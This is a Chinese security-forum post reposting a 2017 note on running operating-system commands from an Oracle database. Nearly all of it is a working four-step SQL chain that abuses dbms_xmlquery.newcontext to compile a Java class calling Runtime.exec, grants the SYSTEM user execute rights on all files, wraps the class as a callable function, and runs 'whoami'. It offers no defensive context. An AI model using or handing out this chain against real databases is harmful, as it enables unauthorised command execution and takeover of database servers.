找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 0|回复: 0

[20844] 2017-08-08_oracle执行系统命令

[复制链接]

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2017-08-08_oracle执行系统命令 o r a c l e   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 0 8 1 J A V A s e l e c t   d b m s _ x m l q u e r y . n e w c o n t e x t ( ' d e c l a r e   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; b e g i n   e x e c u t e   i m m e d i a t e   ' ' c r e a t e   o r   r e p l a c e   a n d c o m p i l e   j a v a   s o u r c e   n a m e d   " L i n x U t i l "   a s   i m p o r t   j a v a . i o . * ;   p u b l i c   c l a s s   L i n x U t i l   e x t e n d s   O b j e c t   { p u b l i c   s t a t i c   S t r i n g   r u n C M D ( S t r i n g   a r g s ) { t r y { B u f f e r e d R e a d e r   m y R e a d e r =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r (   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( a r g s ) . g e t I n p u t S t r e a m ( )   )   ) ;   S t r i n g s t e m p , s t r = " " ; w h i l e   ( ( s t e m p   =   m y R e a d e r . r e a d L i n e ( ) )   ! =   n u l l )   s t r   + = s t e m p + " n " ; m y R e a d e r . c l o s e ( ) ; r e t u r n   s t r ; }   c a t c h   ( E x c e p t i o n   e ) { r e t u r n e . t o S t r i n g ( ) ; } } } ' ' ; c o m m i t ; e n d ; ' )   f r o m   d u a l ; 2 J A V A s e l e c t   d b m s _ x m l q u e r y . n e w c o n t e x t ( ' d e c l a r e   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; b e g i n   e x e c u t e   i m m e d i a t e   ' ' b e g i n d b m s _ j a v a . g r a n t _ p e r m i s s i o n (   ' ' ' ' S Y S T E M ' ' ' ' ,   ' ' ' ' S Y S : j a v a . i o . F i l e P e r m i s s i o n ' ' ' ' ,   ' ' ' ' < < A L L   F I L E S > > ' ' ' ' , ' ' ' ' E X E C U T E ' ' ' ' ) ; e n d ; ' ' c o m m i t ; e n d ; ' )   f r o m d u a l ;
3 s e l e c t   d b m s _ x m l q u e r y . n e w c o n t e x t ( ' d e c l a r e   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; b e g i n   e x e c u t e   i m m e d i a t e   ' ' c r e a t e   o r   r e p l a c e f u n c t i o n   L i n x R u n C M D ( p _ c m d   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2   a s   l a n g u a g e   j a v a   n a m e   ' ' ' ' L i n x U t i l . r u n C M D ( j a v a . l a n g . S t r i n g )   r e t u r n   S t r i n g ' ' ' ' ; ' ' ; c o m m i t ; e n d ; ' )   f r o m   d u a l ; 4 s e l e c t   l i n x r u n c m d ( ' w h o a m i ' )   f r o m   d u a l

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:47 , Processed in 0.232663 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表